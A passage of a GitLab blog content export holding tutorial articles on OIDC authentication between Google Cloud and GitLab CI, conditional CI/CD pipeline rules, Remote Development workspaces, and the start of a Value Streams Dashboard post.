CI](https://docs.gitlab.com/ee/ci/secrets/id_token_authentication.html).\n\n## OIDC authentication with Google Cloud\nThe OIDC integration between Google Cloud and GitLab CI works as follows:\n\n- Preparation (areas to configure in Terraform in OIDC models)\n  1. Create a service account in Google Cloud for CI integration and set up the appropriate roles.\n  1. Create a Google Cloud Workload Identity pool and provider, and configure integration with GitLab CI.\n  1. Assign the Workload Identity User role to the service account.\n\n\n\n\n![Simplified diagram](https://about.gitlab.com/images/blogimages/2023-06-30-introduction-of-oidc-modules-for-integration-between-google-cloud-and-gitlab-ci/oidc-auth-diagram.png){: .shadow}\n\nGitLab CI in action (simplified by the GitLab CI template in OIDC modules)\n{: .note .text-center}\n\nGoogle Cloud authenticates using an ID token issued on GitLab CI, so there is no need to issue a Google Cloud service account key.\n\n## How to use a Terraform module\nThe process of configuring a Terraform module to establish a connection between Google Cloud and GitLab using OIDC is fairly simple. This module takes care of the following steps:\n1. Create the Google Cloud Workload Identity Pool.\n1. Create a Workload Identity Provider.\n1. Grant permissions for service account impersonation.\n\nNote: Your account must have at least the Workload Identity Pool Admin permission on the Google Cloud project.\n\n```terraform\n# terraform\nmodule \"gl_oidc\" {\n source = \"gitlab.com/gitlab-com/gcp-oidc/google\"\n version = \"3.0.0\"\n google_project_id = GOOGLE_PROJECT_ID\n gitlab_project_id = GITLAB_PROJECT_ID\n oidc_service_account = {\n   \"sa\" = {\n     sa_email  = \"SERVICE_ACCOUNT_EMAIL\"\n     attribute = \"attribute.project_id/GITLAB_PROJECT_ID\"\n   }\n }\n}\n```\n\nThe above sample module can be used to configure OIDC. There are some additional parameters that can be used to configure this module further (a detailed list and description of those parameters can be found [here](https://gitlab.com/gitlab-com/gl-security/security-operations/infrastructure-security-public/oidc-modules/-/tree/main/#configure-gitlab-for-oidc-integration-using-terraform-module)).\n \nBy default, all branches of the project are authenticated to Google Cloud, but you can specify more granular conditions, such as the branch name of the commit that triggered the CI, or authenticating only with a specific tag.\n\nFurther settings can be made by changing the following attribute settings in accordance with the ID token claim:\n\n```\n  oidc_service_account = {\n    \"sa\" = {\n      sa_email  = \"SERVICE_ACCOUNT_EMAIL\"\n      attribute = \"attribute.project_id/GITLAB_PROJECT_ID\"\n    }\n```\n\nCode files for this module are available [here](https://gitlab.com/gitlab-com/gl-security/security-operations/infrastructure-security-public/oidc-modules/-/tree/main/terraform-modules/gcp-oidc).\n\n## How to use the CI template\n[The CI template](https://gitlab.com/gitlab-com/gl-security/security-operations/infrastructure-security-public/oidc-modules/-/blob/main/templates/gcp_auth.yaml) makes GitLab CI very easy for Google Cloud OIDC authentication. This CI template supports [Application Default Credentials](https://cloud.google.com/docs/authentication/application-default-credentials) and can be used from IaC such as Terraform, CLI such as gcloud, and SDKs in Python and Go.\n\nFor example, if you want to use the CI template for Terraform, you can write:\n\n```\n# You should upgrade to the latest version. You can find the latest version at https://gitlab.com/gitlab-com/gl-security/security-operations/infrastructure-security-public/oidc-modules/-/releases\ninclude:\n  - remote: 'https://gitlab.com/gitlab-com/gl-security/security-operations/infrastructure-security-public/oidc-modules/-/raw/3.0.0/templates/gcp_auth.yaml'\n\nterraform:\n  image:\n    name: hashicorp/terraform:1.5.3\n    entrypoint:\n      - /usr/bin/env\n      - \"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"\n  extends: .google-oidc:auth\n  variables:\n    WI_POOL_PROVIDER: //iam.googleapis.com/projects/GOOGLE_PROJECT_ID/locations/global/workloadIdentityPools/WORKLOAD_IDENTITY_POOL/providers/WORKLOAD_IDENTITY_POOL_PROVIDER\n    SERVICE_ACCOUNT: SERVICE_ACCOUNT_EMAIL\n  script:\n    - terraform init\n    - terraform plan\n```\n\n### Required variables\n- WI_POOL_PROVIDER(under .google-oidc:) - Full canonical resource name of the workload identity pool provider. This value must be written under .google-oidc: like this.\n- SERVICE_ACCOUNT - Service Account email address\n\nA detailed list and description of those parameters can be found [here](https://gitlab.com/gitlab-com/gl-security/security-operations/infrastructure-security-public/oidc-modules/-/blob/main/README.md#using-oidc-in-pipelines).\n\nAs a note, you cannot use `before_script` in the job that uses this template because the way GitLab CI works will result in OIDC code being overwritten. CI template uses `before_script` to perform the initial configuration of OIDC.\n\nCode samples for this module are available [here](https://gitlab.com/gitlab-com/gl-security/security-operations/infrastructure-security-public/oidc-modules/-/tree/main/samples/ci/gcp).\n\n## Next steps\nThis article has introduced OIDC modules for OIDC integration and secure authentication between Google Cloud and GitLab CI. In short, we are doing the following steps:\n\n1. Setting up a service account\n1. Granting permissions to the service account\n1. Running the Terraform module\n1. Setting up CI pipeline\n\nYou can find the relevant sample for the above steps [here](https://gitlab.com/gitlab-com/gl-security/security-operations/infrastructure-security-public/oidc-modules/-/tree/main/samples).\n\nAlso, GitLab is currently developing a [CI Catalog and CI Components](https://about.gitlab.com/blog/use-inputs-in-includable-files/). We plan to support them.\n\nThe GitLab Infrastructure Security Team will continue to improve the modules as we receive feedback, and we hope to consider and release components that maintain a high level of security and usability for both internal and external use. \n\n## Read more\n- [Configure OIDC with GCP Workload Identity Federation](https://docs.gitlab.com/ee/ci/cloud_services/google_cloud/)\n- [Workload Identity Federation on Google Cloud](https://cloud.google.com/iam/docs/workload-identity-federation)\n- [Terraform for google_iam_workload_identity_pool_provider](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/iam_workload_identity_pool_provider)\n- [OIDC Authentication using ID tokens](https://docs.gitlab.com/ee/ci/secrets/id_token_authentication.html)\n",[696,110,674,3949],{"slug":9581,"featured":6,"template":678},"introduction-of-oidc-modules-for-integration-between-google-cloud-and-gitlab-ci","content:en-us:blog:introduction-of-oidc-modules-for-integration-between-google-cloud-and-gitlab-ci.yml","Introduction Of Oidc Modules For Integration Between Google Cloud And Gitlab Ci","en-us/blog/introduction-of-oidc-modules-for-integration-between-google-cloud-and-gitlab-ci.yml","en-us/blog/introduction-of-oidc-modules-for-integration-between-google-cloud-and-gitlab-ci",{"_path":9587,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9588,"content":9594,"config":9600,"_id":9602,"_type":16,"title":9603,"_source":17,"_file":9604,"_stem":9605,"_extension":20},"/en-us/blog/efficient-devsecops-workflows-with-rules-for-conditional-pipelines",{"title":9589,"description":9590,"ogTitle":9589,"ogDescription":9590,"noIndex":6,"ogImage":9591,"ogUrl":9592,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9592,"schema":9593},"DevSecOps workflows with conditional CI/CD pipeline rules","CI/CD pipelines can be simple or complex, what makes them efficient are CI rules that define when and how they run.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669673/Blog/Hero%20Images/engineering.png","https://about.gitlab.com/blog/efficient-devsecops-workflows-with-rules-for-conditional-pipelines","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to create efficient DevSecOps workflows with rules for conditional CI/CD pipelines\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Abubakar Siddiq Ango\"}],\n        \"datePublished\": \"2023-06-27\",\n      }",{"title":9595,"description":9590,"authors":9596,"heroImage":9591,"date":9597,"body":9598,"category":734,"tags":9599},"How to create efficient DevSecOps workflows with rules for conditional CI/CD pipelines",[2816],"2023-06-27","\nCI/CD pipelines can be simple or complex – what makes them efficient are rules that define when and how they run. By using rules, you create smarter CI/CD pipelines, which increase teams' productivity and allow organizations to iterate faster. In this tutorial, you will learn about the different types of CI/CD pipelines and rules and their use cases.\n\n## What is a pipeline?\nA pipeline is a top-level component of [continuous integration](https://docs.gitlab.com/ee/ci/introduction/index.html#continuous-integration) and [continuous delivery](https://docs.gitlab.com/ee/ci/introduction/index.html#continuous-delivery)/[continuous deployment](https://docs.gitlab.com/ee/ci/introduction/index.html#continuous-deployment), and it comprises [jobs](https://docs.gitlab.com/ee/ci/jobs/index.html), which are lists of tasks to be executed. Jobs are organized in [stages](https://docs.gitlab.com/ee/ci/yaml/index.html#stages), which define when the jobs run.\n\nA pipeline can be a [basic one](https://docs.gitlab.com/ee/ci/pipelines/pipeline_architectures.html#basic-pipelines) in which jobs run concurrently in each stage. Pipelines can also be complex, like [parent-child pipelines](https://docs.gitlab.com/ee/ci/pipelines/downstream_pipelines.html#parent-child-pipelines), [merge trains](https://docs.gitlab.com/ee/ci/pipelines/merge_trains.html), [multi-project pipelines](https://docs.gitlab.com/ee/ci/pipelines/downstream_pipelines.html#multi-project-pipelines), or the more advanced [Directed Acyclic Graph pipelines](https://docs.gitlab.com/ee/ci/directed_acyclic_graph/index.html) (DAG).\n\n![Complex pipeline showing dependencies](https://about.gitlab.com/images/blogimages/2023-06-15-efficient-devsecops-workflows-with-rules-for-conditional-pipelines/complex-pipelines.png)\n\nA [gitlab-runner pipeline](https://gitlab.com/gitlab-org/gitlab-runner/-/pipelines/798871212/) showing job dependencies.\n{: .note.text-center}\n\n![Directed Acyclic Graph](https://about.gitlab.com/images/blogimages/2023-06-15-efficient-devsecops-workflows-with-rules-for-conditional-pipelines/dag-pipelines.png)\n\nDirected Acyclic Graph pipeline\n{: .note.text-center}\n\nUse cases determine how complicated a pipeline can get. A use case might require testing an application and packaging it into a container; the pipeline can even further deploy the container to an orchestrator like Kubernetes or a container registry. Another use case might involve building applications that target different platforms with varying dependencies, which is where DAG pipelines shine.\n\n## What are CI/CD rules?\nCI/CD rules are the key to managing the flow of jobs in a pipeline. One of the powerful features of GitLab CI/CD is the ability to control when a CI/CD job runs, which can depend on context, changes made, [workflow](https://docs.gitlab.com/ee/ci/yaml/workflow.html) rules, values of CI/CD variables, or custom conditions. Aside from using `rules`, you can also control the flow of CI/CD pipelines using:\n\n* [`needs`](https://docs.gitlab.com/ee/ci/yaml/index.html#needs): establishes relationships between jobs and used in DAG pipelines\n* [`only`](https://docs.gitlab.com/ee/ci/yaml/index.html#only--except): defines when a job should run\n* [`except`](https://docs.gitlab.com/ee/ci/yaml/index.html#only--except): defines when a job should not run\n* [`workflow`](https://docs.gitlab.com/ee/ci/yaml/workflow.html): controls when pipelines are created\n\n`only` and `except` should not be used with `rules` as this can lead to unexpected behavior. It is recommended to use `rules`, learn more in the following sections.\n\n## What is the `rules` feature?\n`rules` determine when and if a job runs in a pipeline. If you have multiple rules defined, they are all evaluated in order until a matching rule is found and the job is executed according to the specified configuration.\n\n[Rules](https://docs.gitlab.com/ee/ci/yaml/#rules) can be defined using the keywords: `if`, `changes`, `exists`, `allow_failure`, `variables`, `when` and `needs`.\n\n### `rules:if`\nThe `if` keyword evaluates if a job should be added to a pipeline. The evaluation is done based on the values of [CI/CD variables](https://docs.gitlab.com/ee/ci/variables/index.html) defined in the scope of the job or pipeline and [predefined CI/CD variables](https://docs.gitlab.com/ee/ci/variables/predefined_variables.html).\n\n```yaml\njob:\n  script:\n    - echo $(date)\n  rules:\n    - if: $CI_MERGE_REQUEST_SOURCE_BRANCH_NAME == $CI_DEFAULT_BRANCH\n```\n\nIn the CI/CD script above, the job prints the current date and time with the `echo` command. The job is only executed if the source branch of a merge request (`CI_MERGE_REQUEST_SOURCE_BRANCH_NAME`) is the same as the project's default branch (`CI_DEFAULT_BRANCH`) in a [merge request pipeline](https://docs.gitlab.com/ee/ci/pipelines/merge_request_pipelines.html). You can use the `==` and `!=` operators for comparison, while `=~` and `!~` allow you to compare a variable to a regular expression. You can combine multiple expressions using the `&&` (AND), `||` (OR) operators, and parentheses for grouping expressions.\n\n### `rules:changes`\nWith the `changes` keyword, you can watch for changes to certain files or folders for a job to execute. GitLab uses the output of [Git diffstat](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt\n\n```yaml\njob:\n  script:\n    - terraform plan\n  rules:\n    - if: $CI_PIPELINE_SOURCE == \"merge_request_event\"\n      changes:\n        - terraform/**/*.tf\n```\n\nIn this example, the `terraform plan` is only executed when files with the `.tf` extension are changed in the `terraform` folder and its subdirectories. An additional rule ensures the job is executed for [merge request pipelines](https://docs.gitlab.com/ee/ci/pipelines/merge_request_pipelines.html).\n\nThe `changes` rule can look for changes in specific files with `paths`:\n\n```yaml\njob:\n  script:\n    - terraform plan\n  rules:\n    - if: $CI_PIPELINE_SOURCE == \"merge_request_event\"\n      changes:\n        paths:\n          - terraform/main.tf\n```\n\nChanges to files in a source reference (branch, tag, commit) can also be compared against other references in the Git repository. The CI/CD job will only execute when the source reference differs from the [specified reference value defined in `rules:changes:compare_to`](https://docs.gitlab.com/ee/ci/yaml/#ruleschangescompare_to). This value can be a Git commit SHA, tag, or branch name. The following example compares the source reference to the current `production` branch (`refs/head/production`).\n\n```yaml\njob:\n  script:\n    - terraform plan\n  rules:\n    - if: $CI_PIPELINE_SOURCE == \"merge_request_event\"\n      changes:\n        paths:\n          - terraform/main.tf\n        compare_to: 'refs/head/production'\n```\n\n### `rules:exists`\nLike `changes`, you can execute CI/CD jobs only when specific files exist [using `rules:exists` rules](https://docs.gitlab.com/ee/ci/yaml/#rulesexists). For example, you can run a job that checks whether a `Gemfile.lock` file exists. The following example audits a Ruby project for vulnerable versions of gems or insecure gem sources using the [bundler-audit project](https://github.com/rubysec/bundler-audit).\n\n```yaml\njob:\n  script:\n    - bundle-audit check --format json --output bundle-audit.json\n  rules:\n    - if: $CI_PIPELINE_SOURCE == \"merge_request_event\"\n      changes:\n        exits:\n          - Gemfile.lock\n```\n\n### `rules:allow_failure`\nThere are scenarios where the failure of a job should not affect the following jobs and stages of the pipeline. This can be useful in use cases where non-blocking tasks are required as part of a project but don't impact the project in any way. The [`rules:allow_failure` rule](https://docs.gitlab.com/ee/ci/yaml/#rulesallow_failure) can be set to `true` or `false`. It defaults to `false` implicitly when the rule is not specified.\n\n```yaml\njob:\n  script:\n    - bundle-audit check --format json --output bundle-audit.json\n  rules:\n    - if: $CI_PIPELINE_SOURCE == \"merge_request_event\" && $CI_MERGE_REQUEST_TARGET_BRANCH_PROTECTED == \"false\"\n      changes:\n        exits:\n          - Gemfile.lock\n      allow_failure: true\n```\n\nIn this example, the job can fail only if a merge request event triggers the pipeline and the target branch is not protected.\n\n### `rules:needs`\nDisabled by fault, [`rules:needs`](https://docs.gitlab.com/ee/ci/yaml/#rulesneeds) was introduced in [GitLab 16](https://about.gitlab.com/releases/2023/05/22/gitlab-16-0-released/) and can be enabled with the `introduce_rules_with_needs` [feature flag](https://docs.gitlab.com/ee/user/feature_flags.html). [`needs`](https://docs.gitlab.com/ee/ci/yaml/index.html#needs) is used to execute jobs out of order without waiting for other jobs in a stage to complete. When used with `rules`, it replaces the job's `needs` specification when the set conditions are met.\n\n```yaml\nstages:\n  - build\n  - qa\n  - deploy\n\nbuild-dev:\n  stage: build\n  rules:\n    - if: $CI_COMMIT_BRANCH != $CI_DEFAULT_BRANCH\n  script: echo \"Building dev version...\"\n\nbuild-prod:\n  stage: build\n  rules:\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n  script: echo \"Building production version...\"\n\nqa-checks:\n  stage: qa\n  script:\n    - echo \"Running QA checks before publishing to Production....\"\n\ndeploy:\n  stage: deploy\n  needs: ['build-dev']\n  rules:\n    - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH\n      needs: ['build-prod', 'qa-checks']\n    - when: on_success # Run the job in other cases\n  script: echo \"Deploying application.\"\n\n```\n\nIn the example above, the deploy job has the `build-dev` job as a dependency before it runs; however, when the commit branch is the project's default branch, its dependency changes to `build-prod` and `qa-checks`. This can allow for extra checks to be implemented based on context.\n\n### `rules:variables`\nIn some situations, you only need certain variables in specific conditions, or their values change based on content; you can use the [`rules:variables`](https://docs.gitlab.com/ee/ci/yaml/#rulesvariables) rule to define variables when specific conditions are met. This also allows to create more dynamic CI/CD execution workflows.\n\n```\njob:\n  variables:\n    DEPLOY_VERSION: \"dev\"\n  rules:\n    - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH\n      variables:\n        DEPLOY_VERSION: \"stable\"\n  script:\n    - echo \"Deploying $DEPLOY_VERSION version\"\n```\n\n### `workflow:rules`\nSo far, we have looked at controlling when jobs run in a pipeline using the `rules` keyword. Sometimes, you want to control how the entire pipeline behaves: That's where [`workflow:rules` provide a powerful option](https://docs.gitlab.com/ee/ci/yaml/#workflowrules). `workflow:rules` are evaluated before jobs and take precedence over the job rules. For example, if a job has rules that allow it to run against a specific branch, but the workflow rules set jobs running against the branch to `when: never`, the jobs will not run.\n\nAll the features of `rules` mentioned in the previous sections work for `workflow:rules`.\n\n```yaml\nworkflow:\n  rules:\n    - if: $CI_PIPELINE_SOURCE == \"schedule\"\n      when: never\n    - if: $CI_PIPELINE_SOURCE == \"push\"\n      when: never\n    - when: always\n```\n\nIn the example above, the CI/CD pipeline runs except when a schedule or push event is triggered.\n\n## Use cases for CI/CD rules\nIn the previous section, we looked at different ways of using the `rules` feature of GitLab CI/CD. In this section, we will explore practical use cases.\n\n### Developer experience\nOne of the benefits of a DevSecOps platform is to allow developers to focus on what they do best: writing their code and doing as little operations as possible. A company's DevOps or Platform team can create CI/CD templates for different stages of their development lifecycle and use rules to add CI/CD jobs to handle specific tasks based on their technology stack. A developer only needs to include a default CI/CD script and pipelines are automatically created based on files detected, refs used, or defined variables, leading to increased productivity.\n\n### Security and quality assurance\nA major function of CI/CD pipelines is to catch bugs or vulnerabilities before they are deployed into production infrastructure. Using CI/CD rules, security and quality assurance teams can dynamically run extra checks on changes introduced when certain factors are introduced. For example, malware scans can be added when new file extensions not in an approved list are detected, or more advanced performance tests are automatically added when a certain level of change has been introduced to the codebase. With GitLab's built-in security, including security in your pipelines can be done with just a few lines of code.\n\n```yaml\ninclude:\n  # Static\n  - template: Jobs/Container-Scanning.gitlab-ci.yml\n  - template: Jobs/Dependency-Scanning.gitlab-ci.yml\n  - template: Jobs/SAST.gitlab-ci.yml\n  - template: Jobs/Secret-Detection.gitlab-ci.yml\n  - template: Jobs/SAST-IaC.gitlab-ci.yml\n  - template: Jobs/Code-Quality.gitlab-ci.yml\n  - template: Security/Coverage-Fuzzing.gitlab-ci.yml\n  # Dynamic\n  - template: Security/DAST.latest.gitlab-ci.yml\n  - template: Security/BAS.latest.gitlab-ci.yml\n  - template: Security/DAST-API.latest.gitlab-ci.yml\n  - template: API-Fuzzing.latest.gitlab-ci.yml\n```\n\n### Automation\nThe power of CI/CD rules shines through in the (nearly) limitless possibilities of automating your CI/CD pipelines. GitLab [AutoDevOps](https://docs.gitlab.com/ee/topics/autodevops/) is an example. It uses an opinionated best-practice collection of [GitLab CI/CD templates](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates) and rules to detect the technology stack used. AutoDevOps creates relevant jobs that take your application all the way to production from a push. You can review the [AutoDevOps template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml) to learn how it leverages CI/CD rules for greater efficiency.\n\n### Using CI/CD components\nGrowth comes with several iterations of work and creating best practices. While building CI/CD pipelines, your DevOps team would have made several CI/CD scripts that they repurpose across pipelines using the [`include`](https://docs.gitlab.com/ee/ci/yaml/#include) keyword. In [GitLab 16](https://about.gitlab.com/releases/2023/05/22/gitlab-16-0-released/), GitLab [introduced CI/CD Components](https://about.gitlab.com/releases/2023/05/22/gitlab-16-0-released/#cicd-components), an experimental feature that allows your team to create reusable CI/CD components and publish them as a catalog that can be used to build smarter CI/CD pipelines rapidly. You can learn more [about using CI/CD components](https://docs.gitlab.com/ee/ci/components/) and the [component catalog direction](https://about.gitlab.com/direction/verify/component_catalog/).\n\nGitLab CI/CD enables you to run smarter pipelines, and it does so together with [GitLab Duo, AI-powered workflows](/gitlab-duo/) to help you build more secure software, faster.\n",[696,1384,1385,943,479],{"slug":9601,"featured":6,"template":678},"efficient-devsecops-workflows-with-rules-for-conditional-pipelines","content:en-us:blog:efficient-devsecops-workflows-with-rules-for-conditional-pipelines.yml","Efficient Devsecops Workflows With Rules For Conditional Pipelines","en-us/blog/efficient-devsecops-workflows-with-rules-for-conditional-pipelines.yml","en-us/blog/efficient-devsecops-workflows-with-rules-for-conditional-pipelines",{"_path":9607,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9608,"content":9614,"config":9619,"_id":9621,"_type":16,"title":9622,"_source":17,"_file":9623,"_stem":9624,"_extension":20},"/en-us/blog/quick-start-guide-for-gitlab-workspaces",{"title":9609,"description":9610,"ogTitle":9609,"ogDescription":9610,"noIndex":6,"ogImage":9611,"ogUrl":9612,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9612,"schema":9613},"Quickstart guide for GitLab Remote Development workspaces","Learn how to create a workspace from your GitLab account and work directly from the remote development environment.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664219/Blog/Hero%20Images/2023-06-22-quickstart-workspaces-cover-image2.png","https://about.gitlab.com/blog/quick-start-guide-for-gitlab-workspaces","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Quickstart guide for GitLab Remote Development workspaces\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Itzik Gan Baruch\"}],\n        \"datePublished\": \"2023-06-26\",\n      }",{"title":9609,"description":9610,"authors":9615,"heroImage":9611,"date":9616,"body":9617,"category":734,"tags":9618},[691],"2023-06-26","\nGitLab 16.0 introduced [Remote Development workspaces (beta)](https://about.gitlab.com/releases/2023/05/22/gitlab-16-0-released/#remote-development-workspaces-available-in-beta-for-public-projects), an exciting addition to the GitLab platform that empowers teams to build and deliver software more efficiently.\n\nThis guide provides step-by-step instructions on how to create a workspace directly from your GitLab account and work directly from the remote development environment. You will work in the Web IDE, a Visual Studio Code browser version, seamlessly integrated into the workspace. \n\nFrom this quick start, you will learn how to create a workspace, use the Web IDE Terminal to install dependencies or start your server, and view your running application. \n\nTo learn more about Remote Development in GitLab, we recommend reading this informative blog post, \"[A first look at workspaces](https://about.gitlab.com/blog/introducing-workspaces-beta/),\" and the [workspaces docs](https://docs.gitlab.com/ee/user/workspace/).\n\nHere are the steps covered in this tutorial:\n\n- [Prerequisites](#prerequisites)\n- [Locate DevFile at the root of repository](#locate-devfile-at-the-root-of-repository)\n- [Create your workspace](#create-your-workspace)\n- [Install dependencies and previewing your application in the workspace](#install-dependencies-and-previewing-your-application-in-the-workspace)\n- [Make changes to the application and previewing the updated version](#make-changes-to-the-application-and-previewing-the-updated-version)\n- [Commit the change](#commit-the-change)\n- [Explore the demo](#explore-the-demo)\n- [Try out workspaces](#try-out-workspaces)\n\n## Prerequisites \nPrior to enabling developers to create workspaces, there are a few prerequisites such as bring your own Kubernetes cluster, and install and configure the GitLab agent for Kubernetes on it. Additionally, certain configuration steps must be completed on the cluster. You can find detailed instructions for all these steps in [our workspaces prequisites documentation](https://docs.gitlab.com/ee/user/workspace/configuration.html#prerequisites). Once the prerequisites are properly configured, developers who hold Developer role or above within the root group will gain the ability to create workspaces.\n\n## Locate DevFile at the root of repository\nA [devfile](https://devfile.io/docs/2.2.0/devfile-ecosystem) is a declarative configuration file, in YAML syntax, used to define and describe the development environment for a software project. It provides a standardized way to specify the necessary tools, languages, runtimes, and other components required for developing an application.\n\nTo initiate a workspace, it is necessary to have a devfile located at the root of the repository. In this blog post, we will utilize a project that contains a devfile, accessible [here](https://gitlab.com/gitlab-da/use-cases/remote-development/example-nodejs-express-app/-/raw/main/.devfile.yaml). \n\n```yaml\nschemaVersion: 2.2.0\ncomponents:\n  - name: tooling-container\n    attributes:\n      gl/inject-editor: true\n    container:\n      # NOTE: THIS IMAGE EXISTS ONLY FOR DEMO PURPOSES AND WILL NOT BE MAINTAINED\n      image: registry.gitlab.com/gitlab-org/remote-development/gitlab-remote-development-docs/debian-bullseye-ruby-3.2-node-18.12:rubygems-3.4-git-2.33-lfs-2.9-yarn-1.22-graphicsmagick-1.3.36-gitlab-workspaces\n      memoryRequest: 1024M\n      memoryLimit: 2048M\n      cpuRequest: 500m\n      cpuLimit: 1000m\n      endpoints:\n      - name: http-3000\n        targetPort: 3000\n```\nFor more information, see the [GitLab documentation](https://docs.gitlab.com/ee/user/workspace/#devfile) and [devfile documentation](https://devfile.io/docs/2.2.0/devfile-schema).\n\n## Create your workspace \n1. Make sure you have a [Developer role or above](https://docs.gitlab.com/ee/user/permissions.html) in the root group, and the above prerequisites configured properly.\n2. Fork [this project](https://gitlab.com/gitlab-da/use-cases/remote-development/example-nodejs-express-app) to the GitLab group for which you have a Developer role or above. \n3. Switch contexts and select `Your work`.\n![Your work](https://about.gitlab.com/images/blogimages/2023-07-10-your-work.png){: .shadow}\n4. Select `Workspaces`.\n5. Select `New workspace`.\n6. Select the project you forked or another project that has a `.devfile.yaml` file at the root of the repository. \n7. Select the [cluster agent](https://docs.gitlab.com/ee/user/workspace/#prerequisites) owned by the group the project belongs to.\n8. In `Time before automatic termination`, enter the number of hours until the workspace automatically terminates. This timeout is a safety measure to prevent a workspace from consuming excessive resources or running indefinitely. \n9. Select `Create workspace`. \n\n![create ws](https://about.gitlab.com/images/blogimages/create_workspace.png){: .shadow}\n\nThe workspace will be deployed to the cluster and might take a few minutes to start. To access the workspace, under Preview, select the workspace link.\n\n![ws list](https://about.gitlab.com/images/blogimages/workspaces_list.png){: .shadow}\n\n## Install dependencies and previewing your application in the workspace\nAfter creating your workspace, the [Web IDE using VS Code](https://docs.gitlab.com/ee/user/workspace/#web-ide) is injected into it, and the repository is cloned to the image. Consequently, you gain immediate access to your code and can commence working on it right away.\n\nYou can now open the terminal, install any missing dependencies, and start the application.\n\n![Terminal](https://about.gitlab.com/images/blogimages/ws-terminal.png){: .shadow}\n\n1. To open the terminal, from the left menu, select `Terminal`, `New Terminal`. \n2. Type `npm install` to install the dependencies listed in the [package.json](https://gitlab.com/gitlab-da/use-cases/remote-development/example-nodejs-express-app/-/blob/main/package.json) file.\n3. Type `npm start` to start the application.\n\nThe log will indicate that the application has started on port 3000.\n\n![log](https://about.gitlab.com/images/blogimages/server_log.png){: .shadow}\n\nYou can now access your application by opening the browser and using the workspace URL. Change the number before ‘workspace’ in the URL to the port number on which your application is listening (e.g., 3000). For example, if your workspace URL is `https://\u003Cprefix>-workspace-73241-25728545-rqvpjm.workspaces.gitlab.dev`, and your application is running on port 3000, update `\u003Cprefix>` to 3000 to access your application.\n\n## Make changes to the application and previewing the updated version\nIn the Web IDE, navigate to the `server.js` file, modify the text in line 9. \n\nAfterward, refresh the browser where your application is opened to see the applied changes. \n\n## Commit the change \n1. In the Web IDE click on the merge icon in the activity bar.\n2. Click the line with the `server.js` to view your change side by side.\n3. To stage your change, click the plus icon next to `server.js`.\n4. Type a commit message describing your change.\n5. Click Commit. \n6. Click Sync changes to push the commit to the GitLab server.\n\n  ![commit](https://about.gitlab.com/images/blogimages/commit-stage.png){: .shadow}\n\n## Explore the demo \nExplore further with this [click-through demo of workspaces](https://go.gitlab.com/qtu66q).\n\n## Try out workspaces\nRemote Development workspaces offer a convenient and efficient way to work on projects without the need for local development setups. They provide a streamlined workflow and enable developers to focus on writing code rather than dealing with complex environment setups.\n\nBy adopting workspaces, developers can collaborate effectively, improve productivity, and simplify the development process. \n\nGive workspaces a try and revolutionize your remote development experience today!\n\nCover image by \u003Ca href=\"https://unsplash.com/@pankajpatel?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText\">Pankaj Patel\u003C/a> on \u003Ca href=\"https://unsplash.com/photos/_SgRNwAVNKw?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText\">Unsplash\u003C/a>\n{: .note}\n",[696,4103,110],{"slug":9620,"featured":6,"template":678},"quick-start-guide-for-gitlab-workspaces","content:en-us:blog:quick-start-guide-for-gitlab-workspaces.yml","Quick Start Guide For Gitlab Workspaces","en-us/blog/quick-start-guide-for-gitlab-workspaces.yml","en-us/blog/quick-start-guide-for-gitlab-workspaces",{"_path":9626,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9627,"content":9633,"config":9637,"_id":9639,"_type":16,"title":9640,"_source":17,"_file":9641,"_stem":9642,"_extension":20},"/en-us/blog/three-steps-to-optimize-software-value-streams",{"title":9628,"description":9629,"ogTitle":9628,"ogDescription":9629,"noIndex":6,"ogImage":9630,"ogUrl":9631,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9631,"schema":9632},"GitLab's 3 steps to optimizing software value streams","Discover the power of GitLab Value Streams Dashboard (VSD) for optimizing software delivery workflows.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667893/Blog/Hero%20Images/workflow.jpg","https://about.gitlab.com/blog/three-steps-to-optimize-software-value-streams","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab's 3 steps to optimizing software value streams\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Haim Snir\"}],\n        \"datePublished\": \"2023-06-26\",\n      }",{"title":9628,"description":9629,"authors":9634,"heroImage":9630,"date":9616,"body":9635,"category":962,"tags":9636},[2485],"\n\n\u003Ci>This is part three of our multipart series introducing you to the capabilities within GitLab Value Stream Management and the Value Streams Dashboard. In part one, [learn about the Total Time Chart](https://about.gitlab.com/blog/value-stream-total-time-chart/) and how to simplify top-down optimization flow with Value Stream Management. In part two, learn how to [get started with the Value Streams Dashboard](https://about.gitlab.com/blog/getting-started-with-value-streams-dashboard/). \u003C/i>\n\nIt’s no news that software development is a complex process that involves many different stages, teams, and tools. With significant investments made in digital transformation and adopting new tools following the shift to remote work, measuring and managing the business value of the software development lifecycle (SDLC) have become more complex.\n\nThis is where Value Stream Management (VSM) comes in. VSM is a methodology that helps organizations optimize their software delivery process by visualizing, measuring, and improving the flow of value (a.k.a. the “value stream”) from ideation to production. Some examples are: the amount of time it takes to go from an idea to production, the velocity of the project, bottlenecks in the development process, and long-running issues or merge requests. As you’ve probably guessed from its title, this blog will cover how the 